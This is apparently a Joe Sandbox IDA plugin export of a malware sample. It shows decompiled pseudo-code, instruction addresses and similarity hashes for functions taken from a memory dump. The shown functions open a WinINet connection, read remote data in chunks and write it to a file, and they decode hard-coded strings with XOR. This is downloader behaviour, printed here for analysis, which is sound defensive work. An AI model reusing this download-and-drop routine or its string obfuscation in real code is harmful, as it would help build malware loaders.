						_v200 = _v172 + 0x10;
						asm("movaps xmm0, [ebp-0x80]");
						asm("movaps [ebp-0x290], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x280], xmm0");
						asm("movaps xmm0, [ebp-0x280]");
						asm("pxor xmm0, [ebp-0x290]");
						asm("movaps [ebp-0x2a0], xmm0");
						asm("movaps xmm0, [ebp-0x2a0]");
						asm("movups [edx], xmm0");
						_v204 = _v172 + 0x20;
						asm("movaps xmm0, [ebp-0x70]");
						asm("movaps [ebp-0x340], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x2b0], xmm0");
						asm("movaps xmm0, [ebp-0x2b0]");
						asm("pxor xmm0, [ebp-0x340]");
						asm("movaps [ebp-0x2c0], xmm0");
						asm("movaps xmm0, [ebp-0x2c0]");
						asm("movups [edx], xmm0");
						_v208 = _v172 + 0x30;
						asm("movaps xmm0, [ebp-0x60]");
						asm("movaps [ebp-0x2e0], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x2d0], xmm0");
						asm("movaps xmm0, [ebp-0x2d0]");
						asm("pxor xmm0, [ebp-0x2e0]");
						asm("movaps [ebp-0x2f0], xmm0");
						asm("movaps xmm0, [ebp-0x2f0]");
						asm("movups [edx], xmm0");
						_v212 = _v172 + 0x40;
						asm("movaps xmm0, [ebp-0x50]");
						asm("movaps [ebp-0x310], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x300], xmm0");
						asm("movaps xmm0, [ebp-0x300]");
						asm("pxor xmm0, [ebp-0x310]");
						asm("movaps [ebp-0x320], xmm0");
						asm("movaps xmm0, [ebp-0x320]");
						asm("movups [edx], xmm0");
						_v216 = _v172 + 0x50;
						asm("movaps xmm0, [ebp-0x40]");
						asm("movaps [ebp-0x3c0], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x330], xmm0");
						asm("movaps xmm0, [ebp-0x330]");
						asm("pxor xmm0, [ebp-0x3c0]");
						asm("movaps [ebp-0x350], xmm0");
						asm("movaps xmm0, [ebp-0x350]");
						asm("movups [edx], xmm0");
						_v220 = _v172 + 0x60;
						asm("movaps xmm0, [ebp-0x30]");
						asm("movaps [ebp-0x370], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x360], xmm0");
						asm("movaps xmm0, [ebp-0x360]");
						asm("pxor xmm0, [ebp-0x370]");
						asm("movaps [ebp-0x380], xmm0");
						asm("movaps xmm0, [ebp-0x380]");
						asm("movups [edx], xmm0");
						_t308 = _v172 + 0x70;
						__eflags = _t308;
						_v224 = _t308;
						asm("movaps xmm0, [ebp-0x20]");
						asm("movaps [ebp-0x3a0], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x390], xmm0");
						asm("movaps xmm0, [ebp-0x390]");
						asm("pxor xmm0, [ebp-0x3a0]");
						asm("movaps [ebp-0x3b0], xmm0");
						asm("movaps xmm0, [ebp-0x3b0]");
						asm("movups [edx], xmm0");
						_v196 = _v172;
					} else {
						_v196 =  *((intOrPtr*)(_t317 + 0x14));
					}
					_push(_v228);
					_push(0);
					_push(_v196);
					_push( *((intOrPtr*)(_t317 + 0xc)));
					_push( *(_t317 + 0x10) & 0x000000ff);
					_push(_v164);
					_push(_v160);
					_push( *((intOrPtr*)(_t317 + 8))); // executed
					_t312 = E009A4EA0(); // executed
					_v165 = _t312;
					_t372 = _v160;
					E009A61C0(_v160);
					_t314 = _v165;
				} else {
					_t314 = _v165;
				}
				_pop(_t421);
				_pop(_t430);
				return E009AC2E8(_t314, _t317, _v16 ^ _t433, _t372, _t421, _t430);
			}

0x009a61e1
0x009a61e9
0x009a61f0
0x009a61f4
0x009a61fc
0x009a6203
0x009a6206
0x009a6207
0x009a6208
0x009a6212
0x009a6222
0x009a6229
0x009a622a
0x009a622d
0x009a622e
0x009a6236
0x009a6245
0x009a6252
0x009a625e
0x009a6264
0x009a627b
0x009a628a
0x009a6294
0x009a629a
0x009a62ac
0x009a62b3
0x009a62bb
0x009a62ce
0x009a62d6
0x009a62e0
0x009a62f8
0x009a62fe
0x009a6306
0x009a6310
0x009a6316
0x009a6320
0x009a6334
0x009a633a
0x009a6347
0x009a634e
0x009a6364
0x009a636a
0x009a6388
0x009a638d
0x009a6390
0x009a6396
0x009a63b4
0x009a63b6
0x009a63bc
0x009a63c8
0x009a63e3
0x009a63e9
0x009a6400
0x009a6406
0x009a640c
0x009a6412
0x009a641e
0x009a6424
0x009a6426
0x009a6436
0x009a6439
0x009a6428
0x009a642e
0x009a6434
0x00000000
0x00000000
0x009a6434
0x009a6426
0x009a643f
0x009a6443
0x009a6455
0x009a645d
0x009a6465
0x009a6471
0x009a647d
0x009a6489
0x009a6494
0x009a649e
0x009a64b0
0x009a64b6
0x009a64c1
0x009a64cb
0x009a64dd
0x009a64e3
0x009a64ee
0x009a64f8
0x009a650a
0x009a6510
0x009a651b
0x009a6525
0x009a6537
0x009a653d
0x009a6548
0x009a6552
0x009a6564
0x009a656a
0x009a6575
0x009a657f
0x009a6591
0x009a6597
0x009a65a2
0x009a65ac
0x009a65be
0x009a65c4
0x009a65cf
0x009a65d9
0x009a65eb
0x009a65f1
0x009a65fc
0x009a6606
0x009a6618
0x009a661e
0x009a6629
0x009a6633
0x009a6645
0x009a664b
0x009a6656
0x009a6660
0x009a6672
0x009a6678
0x009a6683
0x009a668d
0x009a669f
0x009a66a5
0x009a66b0
0x009a66ba
0x009a66cc
0x009a66d2
0x009a66dd
0x009a66e7
0x009a66f9
0x009a66ff
0x009a670a
0x009a6714
0x009a6726
0x009a672c
0x009a6737
0x009a6741
0x009a6753
0x009a6759
0x009a6765
0x009a6771
0x009a677c
0x009a6786
0x009a6791
0x009a679b
0x009a67a6
0x009a67ad
0x009a67b5
0x009a67bc
0x009a67c4
0x009a67cb
0x009a67d3
0x009a67da
0x009a67e2
0x009a67e9
0x009a67f1
0x009a67f8
0x009a6800
0x009a6807
0x009a680f
0x009a6816
0x009a681e
0x009a6825
0x009a682d
0x009a6834
0x009a683c
0x009a6843
0x009a684b
0x009a6852
0x009a685a
0x009a6861
0x009a6869
0x009a6870
0x009a6875
0x009a6881
0x009a6887
0x009a688e
0x009a689b
0x009a689e
0x009a68a5
0x009a68ac
0x009a68b4
0x009a68bb
0x009a68c8
0x009a68d4
0x009a68da
0x009a68de
0x009a68eb
0x009a68ee
0x009a68f5
0x009a68fc
0x009a6904
0x009a690b
0x009a6918
0x009a6924
0x009a692a
0x009a692e
0x009a693b
0x009a693e
0x009a6945
0x009a694c
0x009a6954
0x009a695b
0x009a6968
0x009a6974
0x009a697a
0x009a697e
0x009a698b
0x009a698e
0x009a6995
0x009a699c
0x009a69a4
0x009a69ab
0x009a69b8
0x009a69c4
0x009a69ca
0x009a69ce
0x009a69db
0x009a69de
0x009a69e5
0x009a69ec
0x009a69f4
0x009a69fb
0x009a6a08
0x009a6a14
0x009a6a1a
0x009a6a1e
0x009a6a2b
0x009a6a2e
0x009a6a35
0x009a6a3c
0x009a6a44
0x009a6a4b
0x009a6a58
0x009a6a64
0x009a6a6a
0x009a6a6e
0x009a6a7b
0x009a6a7e
0x009a6a85
0x009a6a8c
0x009a6a94
0x009a6a9b
0x009a6aa8
0x009a6ab1
0x009a6ab1
0x009a6ab4
0x009a6aba
0x009a6abe
0x009a6acb
0x009a6ace
0x009a6ad5
0x009a6adc
0x009a6ae4
0x009a6aeb
0x009a6af8
0x009a6b01
0x009a6445
0x009a6448
0x009a6448
0x009a6b0d
0x009a6b0e
0x009a6b16
0x009a6b1a
0x009a6b1f
0x009a6b26
0x009a6b2d
0x009a6b31
0x009a6b32
0x009a6b3a
0x009a6b40
0x009a6b47
0x009a6b4f
0x009a6247
0x009a6247
0x009a6247
0x009a6b55
0x009a6b56
0x009a6b67

APIs

__aulldiv.LIBCMT ref: 009A62AC
__aulldiv.LIBCMT ref: 009A635F

Strings

]:##, xrefs: 009A64C1
1X>, xrefs: 009A67B0

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv
String ID: 1X>$]:##
API String ID: 3732870572-3705587725
Opcode ID: 94b4d11e290d82281683974ce2fe6a699e13b84d1552442f5cf031c9e3c6da42
Instruction ID: dc3da6f262b4b85cae5e3bf5fb7025354e7c72bad5d8f97fb0ca03ef4d31566b
Opcode Fuzzy Hash: 94b4d11e290d82281683974ce2fe6a699e13b84d1552442f5cf031c9e3c6da42
Instruction Fuzzy Hash: CF42BFB0D056688BEB66CF28CD81BD9F7B1AF99304F1082D9D94CA7251EB305AC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009A4AC0 Relevance: 7.8, APIs: 5, Instructions: 284
networkCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E009A4AC0(void* __edx) {
				intOrPtr _v8;
				signed int _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				char* _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				void* _v64;
				void* _v68;
				void* _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char* _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				void* _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				char _v204;
				intOrPtr _v208;
				char* _v212;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t128;
				signed int _t147;
				signed int _t149;
				intOrPtr _t150;
				long _t157;
				signed int _t158;
				void* _t161;
				void* _t164;
				intOrPtr _t167;
				void* _t176;
				signed int _t203;
				signed int _t221;
				signed int _t222;
				intOrPtr _t223;
				intOrPtr _t224;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t240;

				_t207 = __edx;
				_t176 = _t240;
				_v8 =  *((intOrPtr*)(_t176 + 4));
				_t238 =  &(4[_t240 - 0x00000008 & 0xfffffff0]);
				_t128 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t128 ^  &(4[_t240 - 0x00000008 & 0xfffffff0]);
				_v68 = 0;
				_v72 = 0;
				_v64 = 0;
				_v212 = 0;
				_v52 = 0;
				_v48 = 0;
				_v184 =  *0x9d35d0;
				_v68 = InternetOpenA( *(_t176 + 0x14), 0, 0, 0, 0);
				if(_v68 != 0) {
					_v100 =  *0x9d35d8;
					_v100(_v68, 6, _t176 + 0x18, 4);
					_v104 =  *0x9d35c0;
					_v72 = InternetConnectA(_v68,  *(_t176 + 8), 0x50, 0, 0, 3, 0, 0);
					_v48 = 0x80000000;
					__eflags =  *(_t176 + 0x10) & 0x000000ff;
					if(( *(_t176 + 0x10) & 0x000000ff) != 0) {
						_v48 = _v48 | 0x00800000;
						_v48 = _v48 | 0x00002000;
						_t229 = _v48 | 0x00001000;
						__eflags = _t229;
						_v48 = _t229;
					}
					_v54 = 0;
					_v55 = 0;
					_v56 = 0;
					_v112 =  *0x9d35c8;
					_v108 = _v48;
					_v76 = _v54;
					_v80 = _v55;
					_v84 = _v56;
					_v156 = 0x4316d36f;
					_v152 = 0x383ec16;
					_v204 = _v156;
					_v200 = _v152;
					_v164 = 0x3131468;
					_v160 = 0x7cad90b7;
					_v196 = _v164;
					_v192 = _v160;
					_v92 =  &_v204;
					_v96 = _v208;
					_v44 = 0x7579627;
					_v40 = 0x383ec16;
					_v36 = 0x3131468;
					_v32 = 0x7cad90b7;
					_v57 = 0;
					_v88 = _v57;
					asm("movaps xmm0, [ebp-0x20]");
					asm("movaps [ebp-0xf0], xmm0");
					asm("movups xmm0, [edx]");
					asm("movaps [ebp-0xe0], xmm0");
					asm("movaps xmm0, [ebp-0xe0]");
					asm("pxor xmm0, [ebp-0xf0]");
					asm("movaps [ebp-0x100], xmm0");
					asm("movaps xmm0, [ebp-0x100]");
					asm("movups [eax], xmm0");
					_v96 = _v92;
					_v64 = _v112(_v72, _v96,  *((intOrPtr*)(_t176 + 0xc)), 0, 0, 0, _v108, 0);
					_v116 =  *0x9d35c4;
					_t147 = _v116(_v64, 0, 0, 0, 0);
					__eflags = _t147;
					if(_t147 == 0) {
						_t157 = GetLastError();
						_t221 =  *0x9d28e8; // 0x12
						_t222 = _t221 ^ 0x00002dc7;
						_t158 =  *0x9d28ec; // 0x0
						_t161 = E009C3280(E009C3280(_t222, _t158 ^ 0x00000000, 0x2f0d, 0), _t222, 5, 0);
						asm("adc ecx, 0x0");
						_t223 =  *0x9d28e4; // 0x0
						_t224 =  *0x9d28e0; // 0xd971
						_v120 = _t161 + 0x37df7;
						_v124 = _t222;
						_t164 = E009C3300(E009C3280(_t224, _t223, 0x2dc7, 0), _t224, 0x13, 0);
						asm("adc eax, edx");
						asm("adc eax, 0x0");
						_t167 = E009A49F0(__eflags, _v120 + _t164 + 0x00002f0d ^ 0x00000013, _v124 ^ 0x00000000);
						_v172 = _t157;
						_v168 = 0;
						_v180 = _t167;
						_v176 = _t224;
						__eflags = _v172 - _v180;
						if(_v172 == _v180) {
							__eflags = _v168 - _v176;
							if(_v168 == _v176) {
								__eflags =  *(_t176 + 0x10) & 0x000000ff;
								if(( *(_t176 + 0x10) & 0x000000ff) != 0) {
									_v48 = 0;
									_v52 = 4;
									_v128 =  *0x9d35b4;
									_v128(_v64, 0x1f,  &_v48,  &_v52);
									_t203 = _v48 | 0x00000100;
									__eflags = _t203;
									_v48 = _t203;
									_v132 =  *0x9d35d8;
									_v132(_v64, 0x1f,  &_v48, 4);
								}
							}
						}
					}
					_v53 = 1;
					_v52 = 4;
					_v136 =  *0x9d35cc;
					_t207 = _v64;
					_t149 = _v136(_v64, 0x20000005,  *((intOrPtr*)(_t176 + 0x1c)),  &_v52, 0);
					__eflags = _t149;
					if(_t149 == 0) {
						_v53 = 0;
					}
					__eflags = _v64;
					if(_v64 != 0) {
						_v140 =  *0x9d35b8;
						InternetCloseHandle(_v64);
					}
					__eflags = _v72;
					if(_v72 != 0) {
						_t207 =  *0x9d35b8;
						_v144 =  *0x9d35b8;
						_v144(_v72);
					}
					__eflags = _v68;
					if(_v68 != 0) {
						_v148 =  *0x9d35b8;
						_t207 = _v68;
						_v148(_v68);
					}
					_t150 = _v53;
					goto L18;
				} else {
					_t150 = 0;
					L18:
					_pop(_t231);
					_pop(_t234);
					return E009AC2E8(_t150, _t176, _v16 ^ _t238, _t207, _t231, _t234);
				}
			}

0x009a4ac0
0x009a4ac1
0x009a4ad0
0x009a4ad4
0x009a4adc
0x009a4ae3
0x009a4ae8
0x009a4aef
0x009a4af6
0x009a4afd
0x009a4b07
0x009a4b0e
0x009a4b1a
0x009a4b32
0x009a4b39
0x009a4b48
0x009a4b57
0x009a4b60
0x009a4b7a
0x009a4b7d
0x009a4b88
0x009a4b8a
0x009a4b94
0x009a4ba0
0x009a4ba6
0x009a4ba6
0x009a4bac
0x009a4bac
0x009a4bb1
0x009a4bb6
0x009a4bbb
0x009a4bc3
0x009a4bc9
0x009a4bcf
0x009a4bd5
0x009a4bdb
0x009a4be3
0x009a4bed
0x009a4bff
0x009a4c05
0x009a4c10
0x009a4c1a
0x009a4c2c
0x009a4c32
0x009a4c3e
0x009a4c47
0x009a4c4f
0x009a4c56
0x009a4c5e
0x009a4c65
0x009a4c6a
0x009a4c70
0x009a4c73
0x009a4c77
0x009a4c81
0x009a4c84
0x009a4c8b
0x009a4c92
0x009a4c9a
0x009a4ca1
0x009a4cab
0x009a4cb1
0x009a4ccf
0x009a4cd7
0x009a4ce6
0x009a4ce9
0x009a4ceb
0x009a4cf1
0x009a4cfb
0x009a4d01
0x009a4d07
0x009a4d23
0x009a4d2f
0x009a4d39
0x009a4d40
0x009a4d47
0x009a4d4a
0x009a4d58
0x009a4d65
0x009a4d6d
0x009a4d78
0x009a4d80
0x009a4d86
0x009a4d8c
0x009a4d92
0x009a4d9e
0x009a4da4
0x009a4dac
0x009a4db2
0x009a4db8
0x009a4dba
0x009a4dbc
0x009a4dc3
0x009a4dcf
0x009a4de0
0x009a4de6
0x009a4de6
0x009a4dec
0x009a4df5
0x009a4e04
0x009a4e04
0x009a4dba
0x009a4db2
0x009a4da4
0x009a4e07
0x009a4e0b
0x009a4e18
0x009a4e2a
0x009a4e2e
0x009a4e31
0x009a4e33
0x009a4e35
0x009a4e35
0x009a4e39
0x009a4e3d
0x009a4e44
0x009a4e4b
0x009a4e4b
0x009a4e4e
0x009a4e52
0x009a4e54
0x009a4e5a
0x009a4e64
0x009a4e64
0x009a4e6a
0x009a4e6e
0x009a4e76
0x009a4e7c
0x009a4e80
0x009a4e80
0x009a4e86
0x00000000
0x009a4b3b
0x009a4b3b
0x009a4e89
0x009a4e89
0x009a4e8a
0x009a4e9b
0x009a4e9b

APIs

InternetOpenA.WININET(?,00000000,00000000,00000000,00000000,?,?), ref: 009A4B2C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000,?,?), ref: 009A4B77

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Internet$ConnectOpen
String ID:
API String ID: 2790792615-0
Opcode ID: ca975c13b1e7184f678f04f854cf6ebd261135d407966e4d3043fb7179242040
Instruction ID: b706a066e1a774659a16c02ca0587c279fb2f81cae09b2759fe9f0def3453b42
Opcode Fuzzy Hash: ca975c13b1e7184f678f04f854cf6ebd261135d407966e4d3043fb7179242040
Instruction Fuzzy Hash: 90D10A70E052589BEB24CFA4DC85BDEBBB5BF88300F208199E549BB281D7715A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 009A4EA0 Relevance: 6.4, APIs: 4, Instructions: 418
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E009A4EA0() {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				void _v2084;
				intOrPtr _v2096;
				intOrPtr _v2100;
				intOrPtr _v2104;
				intOrPtr _v2108;
				long _v2112;
				signed int _v2116;
				signed int _v2120;
				signed int _v2124;
				char _v2128;
				char _v2129;
				signed int _v2136;
				char _v2137;
				char _v2138;
				char _v2139;
				char _v2140;
				char _v2141;
				char _v2142;
				char _v2143;
				void* _v2148;
				signed int _v2152;
				signed int _v2156;
				signed int _v2160;
				signed int _v2164;
				char _v2168;
				char _v2172;
				char _v2176;
				char _v2180;
				intOrPtr* _v2184;
				signed int _v2188;
				intOrPtr* _v2192;
				intOrPtr* _v2196;
				intOrPtr* _v2200;
				intOrPtr* _v2204;
				signed int _v2208;
				intOrPtr _v2212;
				intOrPtr _v2216;
				intOrPtr _v2220;
				signed int _v2224;
				char _v2228;
				intOrPtr _v2232;
				signed int _v2236;
				intOrPtr _v2240;
				signed int _v2244;
				signed int _v2248;
				intOrPtr _v2256;
				intOrPtr _v2260;
				intOrPtr* _v2264;
				signed int _v2272;
				signed int _v2276;
				intOrPtr _v2280;
				intOrPtr _v2284;
				signed int _v2288;
				intOrPtr _v2292;
				intOrPtr _v2296;
				intOrPtr _v2300;
				intOrPtr _v2304;
				signed int _v2308;
				intOrPtr _v2312;
				long _v2316;
				intOrPtr _v2320;
				signed int _v2324;
				signed int _v2328;
				intOrPtr _v2332;
				intOrPtr _v2336;
				intOrPtr _v2340;
				char* _v2344;
				intOrPtr _v2348;
				intOrPtr _v2352;
				char _v2356;
				intOrPtr _v2368;
				intOrPtr _v2372;
				intOrPtr _v2376;
				char _v2380;
				intOrPtr _v2384;
				signed int _v2388;
				intOrPtr _v2392;
				char _v2396;
				char _v2400;
				char _v2404;
				char* _v2408;
				intOrPtr _v2412;
				intOrPtr _v2416;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t221;
				signed int _t222;
				int _t240;
				signed int _t249;
				intOrPtr _t252;
				signed int _t267;
				signed int _t281;
				void* _t284;
				intOrPtr _t285;
				void* _t287;
				signed int _t288;
				signed int _t292;
				void* _t295;
				intOrPtr _t328;
				signed int _t333;
				signed int _t338;
				signed int _t364;
				signed int _t369;
				signed int _t370;
				intOrPtr _t371;
				intOrPtr _t374;
				signed int _t375;
				intOrPtr _t376;
				void* _t382;
				void* _t385;
				void* _t395;
				signed int _t398;
				void* _t399;
				void* _t400;

				_t295 = _t395;
				_t398 = (_t395 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t295 + 4));
				_t393 = _t398;
				_push(0xffffffff);
				_push(0x9c67e0);
				_push( *[fs:0x0]);
				_push(_t295);
				_t399 = _t398 - 0x998;
				_t221 =  *0x9d2008; // 0x9fef24bf
				_t222 = _t221 ^ _t398;
				_v32 = _t222;
				_push(_t381);
				_push(_t222);
				 *[fs:0x0] =  &_v24;
				_v2152 = 0;
				_v2148 = 0;
				_v2396 = 0;
				_v2136 = 0;
				_v2400 = 0;
				_v2112 = 0;
				_v2404 = 0;
				_v2164 = 0;
				_v2128 = 0;
				_v2124 = 0;
				_v2120 = 0;
				_v2264 =  &_v2128;
				_v2184 = _v2264;
				 *_v2184 = 0;
				 *((intOrPtr*)(_v2184 + 4)) = 0;
				 *((intOrPtr*)(_v2184 + 8)) = 0;
				_v2408 =  &_v2128;
				_v16 = 0;
				_v2192 =  &_v2128;
				_v2200 = _v2192;
				_v2196 = _v2192 + 4;
				_v2412 =  *_v2196;
				_v2416 =  *_v2200;
				_v2344 =  &_v2128;
				_v2384 = _v2344;
				 *_v2196 =  *_v2200;
				_v2160 = 0;
				_v2116 = 0;
				_v2129 = 1;
				if( *((intOrPtr*)(_t295 + 0x20)) <= 0) {
					E009A4AC0( *((intOrPtr*)(_t295 + 0x10))); // executed
					_t400 = _t399 + 0x18;
					_v2348 =  *0x9d35d0;
					_v2152 = _v2348( *((intOrPtr*)(_t295 + 0x1c)), 0, 0, 0, 0,  *((intOrPtr*)(_t295 + 0xc)),  *((intOrPtr*)(_t295 + 0x10)),  *(_t295 + 0x14) & 0x000000ff,  *((intOrPtr*)(_t295 + 0x1c)),  *((intOrPtr*)(_t295 + 0x24)),  &_v2116);
					__eflags = _v2152;
					if(_v2152 != 0) {
						_v2136 = 0x80000000;
						__eflags =  *(_t295 + 0x14) & 0x000000ff;
						if(( *(_t295 + 0x14) & 0x000000ff) != 0) {
							_v2136 = _v2136 | 0x00800000;
							_v2136 = _v2136 | 0x00002000;
							_t292 = _v2136 | 0x00001000;
							__eflags = _t292;
							_v2136 = _t292;
						}
						_v2216 =  *0x9d35dc;
						_t353 = _v2136;
						_v2148 = _v2216(_v2152,  *((intOrPtr*)(_t295 + 8)), 0, 0, _v2136, 0);
						__eflags = _v2148;
						if(_v2148 != 0) {
							while(1) {
								_v2220 =  *0x9d35bc;
								_t240 = InternetReadFile(_v2148,  &_v2084, 0x800,  &_v2112);
								__eflags = _t240;
								if(_t240 == 0) {
									break;
								}
								_v2160 = _v2160 + _v2112;
								_v2248 = 0x20be381;
								_v2244 = 0;
								_v2276 = _v2248 ^ 0x00000013;
								_v2272 = _v2244 ^ 0x00000000;
								_v2260 = 0x13;
								_v2256 = 0;
								_t369 =  *0x9d28e8; // 0x12
								_t370 = _t369 ^ 0x00002dc7;
								_t267 =  *0x9d28ec; // 0x0
								_v2332 = E009C3280(_t370, _t267 ^ 0x00000000, 5, 0);
								_v2328 = _t370;
								_t328 =  *0x9d28e4; // 0x0
								_t371 =  *0x9d28e0; // 0xd971
								_v2284 = E009C3300(E009C3280(_t371, _t328, 0x2dc7, 0), _t371, 0x13, 0);
								_v2280 = _t371;
								asm("adc ecx, edx");
								asm("adc ecx, 0x0");
								_v2300 = _v2260 + _v2332 + 1;
								_v2296 = _v2256;
								asm("sbb ecx, edx");
								_v2292 = _v2276 - _v2284;
								_v2288 = _v2272;
								_t374 = _v2300;
								_v2308 = E009C3300(_v2292, _v2288, _t374, _v2296);
								_v2304 = _t374;
								_t375 = _v2308;
								_v2316 = _v2112;
								_v2312 = 0;
								_v2324 = _t375;
								_v2320 = _v2304;
								__eflags = _v2316 - _v2324;
								if(_v2316 != _v2324) {
									L12:
									_t281 =  *0x9d28e8; // 0x12
									_t333 =  *0x9d28ec; // 0x0
									_t284 = E009C3280(E009C3280(_t281 ^ 0x00002dc7, _t333 ^ 0x00000000, 0, 0), _t375, 5, 0);
									_t376 =  *0x9d28e4; // 0x0
									_t285 =  *0x9d28e0; // 0xd971
									_t287 = E009C3300(E009C3280(_t285, _t376, 0x2dc7, 0), _t376, 0x13, 0);
									asm("adc edi, edx");
									_t381 = _t375 ^ 0x00000000;
									_t288 = E009A49F0(__eflags, _t284 + _t287 ^ 0x00000013, _t375 ^ 0x00000000);
									_t400 = _t400 + 8;
									_v2156 = _t288;
									while(1) {
										__eflags = _v2156 - _v2112;
										if(_v2156 >= _v2112) {
											break;
										}
										E0098EAE0( &_v2128, _t393 + _v2156 - 0x818); // executed
										_t338 = _v2156 + 1;
										__eflags = _t338;
										_v2156 = _t338;
									}
									continue;
								}
								__eflags = _v2312 - _v2320;
								if(_v2312 != _v2320) {
									goto L12;
								}
								_v2116 = _v2160;
								break;
							}
							__eflags = _v2116;
							if(_v2116 > 0) {
								__eflags = _v2160 - _v2116;
								if(_v2160 != _v2116) {
									_v2129 = 0;
								}
							}
							_v2139 = 0;
							_v2140 = 0;
							_v2141 = 0;
							_v2180 = _v2139;
							_v2168 = _v2140;
							_v2172 = _v2141;
							_v2356 = 0x757f450;
							_v2352 = 0x383ec16;
							_v2380 = _v2356;
							_v2376 = _v2352;
							_v2340 = 0x3131468;
							_v2336 = 0x7cad90b7;
							_v2372 = _v2340;
							_v2368 = _v2336;
							_v2188 =  &_v2380;
							_v2108 = 0x7579627;
							_v2104 = 0x383ec16;
							_v2100 = 0x3131468;
							_v2096 = 0x7cad90b7;
							_v2142 = 0;
							_v2176 = _v2142;
							asm("movaps xmm0, [ebp-0x830]");
							asm("movaps [ebp-0x990], xmm0");
							asm("movups xmm0, [edx]");
							asm("movaps [ebp-0x980], xmm0");
							asm("movaps xmm0, [ebp-0x980]");
							asm("pxor xmm0, [ebp-0x990]");
							asm("movaps [ebp-0x9a0], xmm0");
							asm("movaps xmm0, [ebp-0x9a0]");
							asm("movups [eax], xmm0");
							_v2224 = _v2188;
							_t353 = _v2224;
							_t249 = E009AFA79( *((intOrPtr*)(_t295 + 0x18)), _v2224); // executed
							_v2164 = _t249;
							__eflags = _v2164;
							if(_v2164 != 0) {
								_v2208 = _v2388;
								_v2204 =  &_v2128;
								_t364 =  *((intOrPtr*)(_v2204 + 4)) -  *_v2204;
								__eflags = _t364;
								_v2208 = _t364;
								_v2212 = _v2392;
								_v2228 = _v2128;
								_v2232 = _v2228;
								_v2212 = _v2232;
								_t353 = _v2208;
								E009B572E(_t295, _v2208, _v2212, 1, _v2208, _v2164); // executed
								E009B2EF7(_t295, _t381, _v2164); // executed
							}
							goto L22;
						} else {
							_v2129 = 0;
							L22:
							__eflags = _v2148;
							if(_v2148 != 0) {
								_t353 =  *0x9d35b8;
								_v2236 =  *0x9d35b8;
								_v2236(_v2148);
							}
							__eflags = _v2152;
							if(_v2152 != 0) {
								_v2240 =  *0x9d35b8;
								_t353 = _v2152;
								_v2240(_v2152);
							}
							_v2143 = _v2129;
							_v16 = 0xffffffff;
							E009719A0( &_v2128);
							_t252 = _v2143;
							L27:
							 *[fs:0x0] = _v24;
							_pop(_t382);
							_pop(_t385);
							return E009AC2E8(_t252, _t295, _v32 ^ _t393, _t353, _t382, _t385);
						}
					}
					_v2138 = 0;
					_v16 = 0xffffffff;
					E009719A0( &_v2128);
					_t252 = _v2138;
					goto L27;
				}
				_v2137 = 0;
				_v16 = 0xffffffff;
				E009719A0( &_v2128);
				_t252 = _v2137;
				goto L27;
			}

0x009a4ea1
0x009a4ea9
0x009a4eb0
0x009a4eb4
0x009a4eb6
0x009a4eb8
0x009a4ec3
0x009a4ec4
0x009a4ec5
0x009a4ecb
0x009a4ed0
0x009a4ed2
0x009a4ed6
0x009a4ed7
0x009a4edb
0x009a4ee1
0x009a4eeb
0x009a4ef5
0x009a4eff
0x009a4f09
0x009a4f13
0x009a4f1d
0x009a4f27
0x009a4f33
0x009a4f39
0x009a4f3f
0x009a4f4b
